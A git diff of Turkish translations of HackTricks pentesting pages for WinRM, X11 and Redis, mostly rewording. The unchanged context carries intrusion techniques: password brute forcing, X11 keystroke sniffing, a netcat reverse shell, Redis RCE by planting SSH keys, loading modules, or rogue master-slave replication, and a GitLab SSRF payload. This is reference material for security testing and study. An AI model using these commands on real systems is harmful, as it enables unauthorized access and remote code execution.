* Aksine, WinRM için yapılandırılmamış bir hedef için, böyle ayrıntılı bir bilgi elde edilemeyecek ve uygun bir WinRM yapılandırmasının yokluğunu vurgulayacaktır.
|
||||
|
||||
![](<../.gitbook/assets/image (458).png>)
|
||||
|
||||
|
@ -80,7 +80,7 @@ Invoke-Command -computername computer-name.domain.tld -ScriptBlock {ipconfig /al
|
|||
```
|
||||
![](<../.gitbook/assets/image (151).png>)
|
||||
|
||||
Ayrıca, mevcut PS konsolunuzun bir komutunu _**Invoke-Command**_ aracılığıyla **çalıştırabilirsiniz**. Diyelim ki yerel olarak _**enumeration**_ adında bir fonksiyonunuz var ve bunu **uzaktaki bir bilgisayarda çalıştırmak** istiyorsunuz, bunu yapabilirsiniz:
|
||||
Ayrıca, **mevcut PS konsolunuzda bir komut çalıştırabilirsiniz** _**Invoke-Command**_ aracılığıyla. Diyelim ki yerel olarak _**enumeration**_ adında bir fonksiyonunuz var ve bunu **uzaktaki bir bilgisayarda çalıştırmak istiyorsunuz**, bunu yapabilirsiniz:
|
||||
```powershell
|
||||
Invoke-Command -ComputerName <computername> -ScriptBLock ${function:enumeration} [-ArgumentList "arguments"]
|
||||
```
|
||||
|
@ -123,7 +123,7 @@ PS Remoting ve WinRM kullanmak istiyorsanız ancak bilgisayar yapılandırılmam
|
|||
```
|
||||
### Oturumları Kaydetme ve Geri Yükleme
|
||||
|
||||
Bu **çalışmayacak** eğer **dil** uzak bilgisayarda **kısıtlıysa**.
|
||||
Bu **çalışmaz** eğer **dil** uzak bilgisayarda **kısıtlıysa**.
|
||||
```powershell
|
||||
#If you need to use different creds
|
||||
$password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force
|
||||
|
@ -150,7 +150,7 @@ Aşağıdaki hatayı bulursanız:
|
|||
winrm quickconfig
|
||||
winrm set winrm/config/client '@{TrustedHosts="Computer1,Computer2"}'
|
||||
```
|
||||
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Deneyimli hackerlar ve bug bounty avcıları ile iletişim kurmak için [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) sunucusuna katılın!
|
||||
|
||||
|
@ -165,7 +165,7 @@ Yeni başlayan bug bounty'ler ve önemli platform güncellemeleri hakkında bilg
|
|||
|
||||
Bugün [**Discord**](https://discord.com/invite/N3FrSbmwdy) üzerinden bize katılın ve en iyi hackerlarla işbirliği yapmaya başlayın!
|
||||
|
||||
## Linux'ta WinRM bağlantısı
|
||||
## WinRM bağlantısı linux'ta
|
||||
|
||||
### Brute Force
|
||||
|
||||
|
@ -185,7 +185,7 @@ crackmapexec winrm <IP> -d <Domain Name> -u <username> -H <HASH> -X '$PSVersionT
|
|||
```ruby
|
||||
gem install evil-winrm
|
||||
```
|
||||
**belgeleri** github'dan okuyun: [https://github.com/Hackplayers/evil-winrm](https://github.com/Hackplayers/evil-winrm)
|
||||
**belgeleri** github'da okuyun: [https://github.com/Hackplayers/evil-winrm](https://github.com/Hackplayers/evil-winrm)
|
||||
```ruby
|
||||
evil-winrm -u Administrator -p 'EverybodyWantsToWorkAtP.O.O.' -i <IP>/<Domain>
|
||||
```
|
||||
|
@ -304,7 +304,7 @@ Name: Hydra Brute Force
|
|||
Description: Need User
|
||||
Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} rdp://{IP}
|
||||
```
|
||||
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Deneyimli hackerlar ve bug bounty avcıları ile iletişim kurmak için [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) sunucusuna katılın!
|
||||
|
||||
|
|
|
@ -1,8 +1,8 @@
|
|||
# 6000 - Pentesting X11
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS Hacking öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP Hacking öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -15,7 +15,7 @@ GCP Hacking öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Deneyimli hackerlar ve bug bounty avcıları ile iletişim kurmak için [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) sunucusuna katılın!
|
||||
|
||||
|
@ -28,7 +28,7 @@ Gerçek zamanlı haberler ve içgörülerle hızlı tempolu hacking dünyasında
|
|||
**Son Duyurular**\
|
||||
Yeni başlayan bug bounty'ler ve önemli platform güncellemeleri hakkında bilgi sahibi olun
|
||||
|
||||
**Bugün** [**Discord**](https://discord.com/invite/N3FrSbmwdy) üzerinden bize katılın ve en iyi hackerlarla işbirliği yapmaya başlayın!
|
||||
**Bugün bizimle** [**Discord**](https://discord.com/invite/N3FrSbmwdy) üzerinden katılın ve en iyi hackerlarla işbirliği yapmaya başlayın!
|
||||
|
||||
## Temel Bilgiler
|
||||
|
||||
|
@ -46,9 +46,9 @@ PORT STATE SERVICE
|
|||
nmap -sV --script x11-access -p <PORT> <IP>
|
||||
msf> use auxiliary/scanner/x11/open_x11
|
||||
```
|
||||
#### Yerel Sayım
|
||||
#### Yerel Sıralama
|
||||
|
||||
Kullanıcıların ana dizinindeki **`.Xauthority`** dosyası, **X11 tarafından yetkilendirme için kullanılır**. [**buradan**](https://stackoverflow.com/a/37367518):
|
||||
Kullanıcıların ana dizinindeki **`.Xauthority`** dosyası **yetkilendirme için X11 tarafından kullanılır**. [**buradan**](https://stackoverflow.com/a/37367518):
|
||||
```bash
|
||||
$ xxd ~/.Xauthority
|
||||
00000000: 0100 0006 6d61 6e65 7063 0001 3000 124d ............0..M
|
||||
|
@ -56,7 +56,7 @@ $ xxd ~/.Xauthority
|
|||
00000020: 3100 108f 52b9 7ea8 f041 c49b 85d8 8f58 1...R.~..A.....X
|
||||
00000030: 041d ef ...
|
||||
```
|
||||
> MIT-magic-cookie-1: 128bit anahtar (“cookie”) oluşturma, bunu \~/.Xauthority (veya XAUTHORITY envvar'ın işaret ettiği yere) kaydetme. İstemci bunu sunucuya düz metin olarak gönderir! Sunucu bu “cookie”nin bir kopyasına sahip olup olmadığını kontrol eder ve eğer varsa, bağlantıya izin verilir. Anahtar DMX tarafından oluşturulur.
|
||||
> MIT-magic-cookie-1: 128bit anahtar (“cookie”) oluşturma, bunu \~/.Xauthority (veya XAUTHORITY envvar'ın işaret ettiği yere) kaydetme. İstemci bunu sunucuya düz olarak gönderir! Sunucu bu “cookie”nin bir kopyasına sahip olup olmadığını kontrol eder ve eğer varsa, bağlantıya izin verilir. Anahtar DMX tarafından oluşturulur.
|
||||
|
||||
{% hint style="warning" %}
|
||||
**Cookie'yi kullanmak için** env var'ı ayarlamalısınız: **`export XAUTHORITY=/path/to/.Xauthority`**
|
||||
|
@ -80,7 +80,7 @@ xwininfo -root -tree -display <IP>:<display> #Ex: xwininfo -root -tree -display
|
|||
|
||||
[xspy](http://tools.kali.org/sniffingspoofing/xspy) klavye tuş vuruşlarını dinlemek için kullanılır.
|
||||
|
||||
Sample Output:
|
||||
Örnek Çıktı:
|
||||
```
|
||||
xspy 10.9.xx.xx
|
||||
|
||||
|
@ -139,9 +139,7 @@ Corners: +0+0 -0+0 -0-0 +0-0
|
|||
```
|
||||
msf> use exploit/unix/x11/x11_keyboard_exec
|
||||
```
|
||||
Diğer yol:
|
||||
|
||||
**Reverse Shell:** Xrdp ayrıca Netcat aracılığıyla ters shell almayı da sağlar. Aşağıdaki komutu yazın:
|
||||
**Ters Shell:** Xrdp ayrıca Netcat aracılığıyla ters shell almayı da sağlar. Aşağıdaki komutu yazın:
|
||||
```bash
|
||||
./xrdp.py \<IP:0> –no-disp
|
||||
```
|
||||
|
@ -163,7 +161,7 @@ Sonra, IP adresinizi ve portunuzu **R-Shell** seçeneğine koyun ve bir shell al
|
|||
|
||||
* `port:6000 x11`
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Deneyimli hackerlar ve bug bounty avcıları ile iletişim kurmak için [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) sunucusuna katılın!
|
||||
|
||||
|
@ -187,7 +185,7 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" a
|
|||
<summary>HackTricks'i Destekleyin</summary>
|
||||
|
||||
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter**'da **bizi takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter**'da **@hacktricks\_live**'ı takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,21 +1,21 @@
|
|||
# 6379 - Pentesting Redis
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS Hacking öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP Hacking öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>HackTricks'i Destekleyin</summary>
|
||||
|
||||
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
|
||||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** bizi takip edin.**
|
||||
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Deneyimli hackerlar ve bug bounty avcıları ile iletişim kurmak için [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) sunucusuna katılın!
|
||||
|
||||
|
@ -23,18 +23,18 @@ Deneyimli hackerlar ve bug bounty avcıları ile iletişim kurmak için [**Hacke
|
|||
Hacking'in heyecanı ve zorluklarına dalan içeriklerle etkileşimde bulunun
|
||||
|
||||
**Gerçek Zamanlı Hack Haberleri**\
|
||||
Hızla değişen hacking dünyasında gerçek zamanlı haberler ve içgörülerle güncel kalın
|
||||
Gerçek zamanlı haberler ve içgörülerle hızlı tempolu hacking dünyasında güncel kalın
|
||||
|
||||
**Son Duyurular**\
|
||||
Yeni başlayan bug bounty'ler ve önemli platform güncellemeleri hakkında bilgi sahibi olun
|
||||
|
||||
Bugün [**Discord**](https://discord.com/invite/N3FrSbmwdy) üzerinden bize katılın ve en iyi hackerlarla işbirliği yapmaya başlayın!
|
||||
**Bugün** [**Discord**](https://discord.com/invite/N3FrSbmwdy) üzerinden bize katılın ve en iyi hackerlarla işbirliği yapmaya başlayın!
|
||||
|
||||
## Temel Bilgiler
|
||||
|
||||
[Belgelerden](https://redis.io/topics/introduction): Redis, bir **veritabanı**, önbellek ve mesaj aracısı olarak kullanılan açık kaynaklı (BSD lisanslı), bellek içi **veri yapısı deposu**dur.
|
||||
[belgelerden](https://redis.io/topics/introduction): Redis, bir **veritabanı**, önbellek ve mesaj aracısı olarak kullanılan açık kaynaklı (BSD lisanslı), bellek içi **veri yapısı deposu**dur.
|
||||
|
||||
Varsayılan olarak Redis, düz metin tabanlı bir protokol kullanır, ancak **ssl/tls** uygulayabileceğini de unutmamalısınız. [Buradan ssl/tls ile Redis çalıştırmayı öğrenin](https://fossies.org/linux/redis/TLS.md).
|
||||
Varsayılan olarak Redis, düz metin tabanlı bir protokol kullanır, ancak **ssl/tls** uygulayabileceğini de unutmamalısınız. [Buradan ssl/tls ile Redis nasıl çalıştırılır öğrenin](https://fossies.org/linux/redis/TLS.md).
|
||||
|
||||
**Varsayılan port:** 6379
|
||||
```
|
||||
|
@ -52,18 +52,18 @@ msf> use auxiliary/scanner/redis/redis_server
|
|||
|
||||
### Afiş
|
||||
|
||||
Redis, **metin tabanlı bir protokoldür**, sadece **bir soket üzerinden komutu gönderebilir** ve dönen değerler okunabilir olacaktır. Ayrıca, Redis'in **ssl/tls** kullanarak çalışabileceğini unutmayın (ama bu çok garip).
|
||||
Redis, **metin tabanlı bir protokoldür**, sadece **bir soket üzerinden komutu gönderebilirsiniz** ve dönen değerler okunabilir olacaktır. Ayrıca, Redis'in **ssl/tls** kullanarak çalışabileceğini unutmayın (ama bu çok garip).
|
||||
|
||||
Normal bir Redis örneğinde, `nc` kullanarak bağlanabilir veya `redis-cli` de kullanabilirsiniz:
|
||||
```bash
|
||||
nc -vn 10.10.10.10 6379
|
||||
redis-cli -h 10.10.10.10 # sudo apt-get install redis-tools
|
||||
```
|
||||
İlk **komut** olarak **`info`** deneyebilirsiniz. Bu, Redis örneği hakkında **bilgilerle** çıktı döndürebilir **veya** aşağıdakine benzer bir şey dönebilir:
|
||||
İlk **komut** olarak deneyebileceğiniz **`info`**. Bu, Redis örneği hakkında **bilgilerle** çıktı döndürebilir **veya aşağıdakine benzer bir şey** dönebilir:
|
||||
```
|
||||
-NOAUTH Authentication required.
|
||||
```
|
||||
Bu son durumda, bu **geçerli kimlik bilgilerine ihtiyacınız var** Redis örneğine erişmek için.
|
||||
In this last case, this means that **geçerli kimlik bilgilerine ihtiyacınız var** to access the Redis instance.
|
||||
|
||||
### Redis Kimlik Doğrulaması
|
||||
|
||||
|
@ -73,10 +73,10 @@ Ayrıca, _**redis.conf**_ dosyasında `masteruser` parametresinde bir **kullanı
|
|||
|
||||
{% hint style="info" %}
|
||||
Eğer yalnızca şifre yapılandırılmışsa, kullanılan kullanıcı adı "**default**"dır.\
|
||||
Ayrıca, Redis'in yalnızca şifre veya kullanıcı adı + şifre ile yapılandırılıp yapılandırılmadığını **dışarıdan bulmanın hiçbir yolu yoktur**.
|
||||
Ayrıca, Redis'in yalnızca şifre veya kullanıcı adı + şifre ile yapılandırılıp yapılandırılmadığını **dışarıdan bulmanın bir yolu yoktur**.
|
||||
{% endhint %}
|
||||
|
||||
Bu tür durumlarda, Redis ile etkileşimde bulunmak için **geçerli kimlik bilgilerini bulmanız gerekecek**, bu yüzden [**brute-force**](../generic-methodologies-and-resources/brute-force.md#redis) denemeyi düşünebilirsiniz.\
|
||||
Böyle durumlarda **Redis ile etkileşimde bulunmak için geçerli kimlik bilgilerini bulmanız gerekecek** bu yüzden [**brute-force**](../generic-methodologies-and-resources/brute-force.md#redis) denemeyi düşünebilirsiniz.\
|
||||
**Geçerli kimlik bilgilerini bulduysanız, bağlantıyı kurduktan sonra oturumu kimlik doğrulamanız gerekir** komut ile:
|
||||
```bash
|
||||
AUTH <username> <password>
|
||||
|
@ -85,7 +85,7 @@ AUTH <username> <password>
|
|||
|
||||
### **Kimlik doğrulama ile sayım**
|
||||
|
||||
Eğer Redis sunucusu **anonim bağlantılara** izin veriyorsa veya geçerli kimlik bilgileri elde ettiyseniz, hizmet için sayım sürecini başlatmak üzere aşağıdaki **komutları** kullanabilirsiniz:
|
||||
Eğer Redis sunucusu **anonim bağlantılara** izin veriyorsa veya geçerli kimlik bilgilerini elde ettiyseniz, hizmet için sayım sürecini başlatmak üzere aşağıdaki **komutları** kullanabilirsiniz:
|
||||
```bash
|
||||
INFO
|
||||
[ ... Redis response with info ... ]
|
||||
|
@ -102,9 +102,9 @@ rename-command FLUSHDB ""
|
|||
```
|
||||
Daha fazla bilgi için Redis hizmetini güvenli bir şekilde yapılandırma hakkında burada bulabilirsiniz: [https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04](https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04)
|
||||
|
||||
Ayrıca **`monitor`** komutunu kullanarak yürütülen Redis komutlarını **gerçek zamanlı olarak izleyebilir** veya **`slowlog get 25`** ile en **yavaş 25 sorguyu** alabilirsiniz.
|
||||
Ayrıca **`monitor`** komutunu kullanarak **Redis komutlarını gerçek zamanlı olarak izleyebilir** veya **`slowlog get 25`** ile en **yavaş 25 sorguyu** alabilirsiniz.
|
||||
|
||||
Daha fazla Redis komutu hakkında ilginç bilgiler bulmak için buraya bakabilirsiniz: [https://lzone.de/cheat-sheet/Redis](https://lzone.de/cheat-sheet/Redis)
|
||||
Daha fazla ilginç bilgi için daha fazla Redis komutu hakkında burada bulabilirsiniz: [https://lzone.de/cheat-sheet/Redis](https://lzone.de/cheat-sheet/Redis)
|
||||
|
||||
### **Veritabanını Dökme**
|
||||
|
||||
|
@ -116,7 +116,7 @@ Ya da tüm **keyspace'leri** (veritabanlarını) almak için:
|
|||
```
|
||||
INFO keyspace
|
||||
```
|
||||
Bu örnekte **veritabanı 0 ve 1** kullanılıyor. **Veritabanı 0 4 anahtar içeriyor ve veritabanı 1 1 anahtar içeriyor.** Varsayılan olarak Redis veritabanı 0'ı kullanır. Örneğin veritabanı 1'i dökmek için şunu yapmalısınız:
|
||||
Bu örnekte **veritabanı 0 ve 1** kullanılıyor. **Veritabanı 0, 4 anahtar içeriyor ve veritabanı 1, 1 anahtar içeriyor.** Varsayılan olarak Redis veritabanı 0'ı kullanır. Örneğin veritabanı 1'i dökmek için şunu yapmalısınız:
|
||||
```bash
|
||||
SELECT 1
|
||||
[ ... Indicate the database ... ]
|
||||
|
@ -125,7 +125,7 @@ KEYS *
|
|||
GET <KEY>
|
||||
[ ... Get Key ... ]
|
||||
```
|
||||
`GET <KEY>` komutunu çalıştırırken `-WRONGTYPE Operation against a key holding the wrong kind of value` hatası alırsanız, bu anahtarın bir dize veya tam sayıdan farklı bir şey olabileceği ve görüntülemek için özel bir operatör gerektirdiği anlamına gelir.
|
||||
In case you get the following error `-WRONGTYPE Operation against a key holding the wrong kind of value` while running `GET <KEY>` it's because the key may be something else than a string or an integer and requires a special operator to display it.
|
||||
|
||||
Anahtarın türünü öğrenmek için `TYPE` komutunu kullanın, aşağıda liste ve hash anahtarları için bir örnek verilmiştir.
|
||||
```bash
|
||||
|
@ -141,7 +141,7 @@ DUMP <key>
|
|||
```
|
||||
**Veritabanını npm ile dökün**[ **redis-dump**](https://www.npmjs.com/package/redis-dump) **veya python** [**redis-utils**](https://pypi.org/project/redis-utils/)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Deneyimli hackerlar ve bug bounty avcıları ile iletişim kurmak için [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) sunucusuna katılın!
|
||||
|
||||
|
@ -154,7 +154,7 @@ Gerçek zamanlı haberler ve içgörülerle hızlı tempolu hacking dünyasında
|
|||
**Son Duyurular**\
|
||||
Yeni başlayan bug bounty'ler ve önemli platform güncellemeleri hakkında bilgi sahibi olun
|
||||
|
||||
Bugün [**Discord**](https://discord.com/invite/N3FrSbmwdy) üzerinden bize katılın ve en iyi hackerlarla işbirliğine başlayın!
|
||||
Bugün [**Discord**](https://discord.com/invite/N3FrSbmwdy) üzerinden bize katılın ve en iyi hackerlarla işbirliği yapmaya başlayın!
|
||||
|
||||
## Redis RCE
|
||||
|
||||
|
@ -206,7 +206,7 @@ Not edin ki **birçok şablon motoru şablonları** **bellekte** **önbelleğe a
|
|||
|
||||
Örnek [buradan](https://blog.adithyanak.com/oscp-preparation-guide/enumeration)
|
||||
|
||||
Lütfen **`config get dir`** sonucunun diğer manuel istismar komutlarından sonra değiştirilebileceğini unutmayın. Bunu, Redis'e giriş yaptıktan hemen sonra ilk olarak çalıştırmanızı öneririm. **`config get dir`** çıktısında **redis kullanıcısının** **ev dizinini** bulabilirsiniz (genellikle _/var/lib/redis_ veya _/home/redis/.ssh_), ve bunu bilerek `authenticated_users` dosyasını ssh **redis kullanıcısı ile** erişmek için nereye yazabileceğinizi bilirsiniz. Yazma izinlerinizin olduğu başka geçerli bir kullanıcının ev dizinini biliyorsanız, bunu da kötüye kullanabilirsiniz:
|
||||
Lütfen **`config get dir`** sonucunun diğer manuel istismar komutlarından sonra değiştirilebileceğini unutmayın. Bunu Redis'e giriş yaptıktan hemen sonra ilk olarak çalıştırmanızı öneririm. **`config get dir`** çıktısında **redis kullanıcısının** **ev dizinini** (genellikle _/var/lib/redis_ veya _/home/redis/.ssh_) bulabilirsiniz ve bunu bilerek `authenticated_users` dosyasını ssh **kullanıcı redis ile** erişmek için nereye yazabileceğinizi bilirsiniz. Yazma izinlerinizin olduğu başka geçerli bir kullanıcının ev dizinini biliyorsanız, bunu da kötüye kullanabilirsiniz:
|
||||
|
||||
1. PC'nizde bir ssh genel-özel anahtar çifti oluşturun: **`ssh-keygen -t rsa`**
|
||||
2. Genel anahtarı bir dosyaya yazın: **`(echo -e "\n\n"; cat ~/id_rsa.pub; echo -e "\n\n") > spaced_key.txt`**
|
||||
|
@ -244,7 +244,7 @@ Bu yöntem ayrıca bitcoin kazanmak için de kullanılabilir :[yam](https://ww
|
|||
### Redis Modülünü Yükle
|
||||
|
||||
1. [https://github.com/n0b0dyCN/RedisModules-ExecuteCommand](https://github.com/n0b0dyCN/RedisModules-ExecuteCommand) adresinden talimatları izleyerek **rastgele komutları çalıştırmak için bir redis modülü derleyebilirsiniz**.
|
||||
2. Ardından, **derlenmiş** modülü **yüklemek için bir yol** bulmalısınız.
|
||||
2. Ardından, **derlenmiş** modülü **yüklemek için** bir yol bulmalısınız.
|
||||
3. `MODULE LOAD /path/to/mymodule.so` ile **yüklenen modülü** çalışma zamanında **yükleyin**.
|
||||
4. Doğru bir şekilde yüklenip yüklenmediğini kontrol etmek için **yüklenen modülleri listeleyin**: `MODULE LIST`
|
||||
5. **Komutları çalıştırın**:
|
||||
|
@ -260,7 +260,7 @@ Bu yöntem ayrıca bitcoin kazanmak için de kullanılabilir :[yam](https://ww
|
|||
|
||||
### LUA sandbox atlatma
|
||||
|
||||
[**Burada**](https://www.agarri.fr/blog/archives/2014/09/11/trying\_to\_hack\_redis\_via\_http\_requests/index.html) Redis'in **EVAL** komutunu **Lua kodunu sandboxed** olarak çalıştırmak için kullandığını görebilirsiniz. Bağlantılı yazıda **dofile** fonksiyonunu kullanarak **bunu nasıl kötüye kullanacağınızı** görebilirsiniz, ancak [görünüşe göre](https://stackoverflow.com/questions/43502696/redis-cli-code-execution-using-eval) bu artık mümkün değil. Yine de, eğer **Lua** sandbox'ını **atlarsanız**, sistemde **rastgele** komutlar çalıştırabilirsiniz. Ayrıca, aynı yazıdan bazı **DoS neden olma seçeneklerini** görebilirsiniz.
|
||||
[**Burada**](https://www.agarri.fr/blog/archives/2014/09/11/trying\_to\_hack\_redis\_via\_http\_requests/index.html) Redis'in **EVAL** komutunu **Lua kodunu sandboxed** olarak çalıştırmak için kullandığını görebilirsiniz. Bağlantılı yazıda **dofile** fonksiyonunu kullanarak **bunu nasıl kötüye kullanacağınızı** görebilirsiniz, ancak [görünüşe göre](https://stackoverflow.com/questions/43502696/redis-cli-code-execution-using-eval) bu artık mümkün değil. Yine de, eğer **Lua** sandbox'ını **atlatabilirseniz**, sistemde **rastgele** komutlar çalıştırabilirsiniz. Ayrıca, aynı yazıdan bazı **DoS neden olma seçeneklerini** görebilirsiniz.
|
||||
|
||||
LUA'dan kaçmak için bazı **CVE'ler**:
|
||||
|
||||
|
@ -268,7 +268,7 @@ LUA'dan kaçmak için bazı **CVE'ler**:
|
|||
|
||||
### Master-Slave Modülü
|
||||
|
||||
Master redis'teki tüm işlemler otomatik olarak slave redis'e senkronize edilir, bu da zayıf redis'i kendi kontrolümüzdeki master redis'e bağlı bir slave redis olarak değerlendirebileceğimiz anlamına gelir, ardından kendi redis'imize komut girebiliriz.
|
||||
Master redis'teki tüm işlemler otomatik olarak slave redis'e senkronize edilir, bu da zayıf redis'i bir slave redis olarak değerlendirebileceğimiz anlamına gelir; bu, kendi kontrolümüzdeki master redis'e bağlıdır, ardından kendi redis'imize komut girebiliriz.
|
||||
```
|
||||
master redis : 10.85.0.51 (Hacker's Server)
|
||||
slave redis : 10.85.0.52 (Target Vulnerability Server)
|
||||
|
@ -311,7 +311,7 @@ git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agit
|
|||
```
|
||||
_Bir sebepten dolayı (bu bilginin alındığı_ [_https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/_](https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/) _yazarı için) istismar `git` şeması ile çalıştı ve `http` şeması ile çalışmadı._
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Deneyimli hackerlar ve bug bounty avcıları ile iletişim kurmak için [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) sunucusuna katılın!
|
||||
|
||||
|
@ -324,7 +324,7 @@ Gerçek zamanlı haberler ve içgörülerle hızlı tempolu hacking dünyasında
|
|||
**Son Duyurular**\
|
||||
Yeni başlayan bug bounty'ler ve önemli platform güncellemeleri hakkında bilgi sahibi olun
|
||||
|
||||
Bugün [**Discord**](https://discord.com/invite/N3FrSbmwdy) üzerinden bize katılın ve en iyi hackerlarla işbirliğine başlayın!
|
||||
Bugün [**Discord**](https://discord.com/invite/N3FrSbmwdy) üzerinden bize katılın ve en iyi hackerlarla işbirliği yapmaya başlayın!
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
@ -335,7 +335,7 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" a
|
|||
<summary>HackTricks'i Destekleyin</summary>
|
||||
|
||||
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
|
||||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter**'da **bizi takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
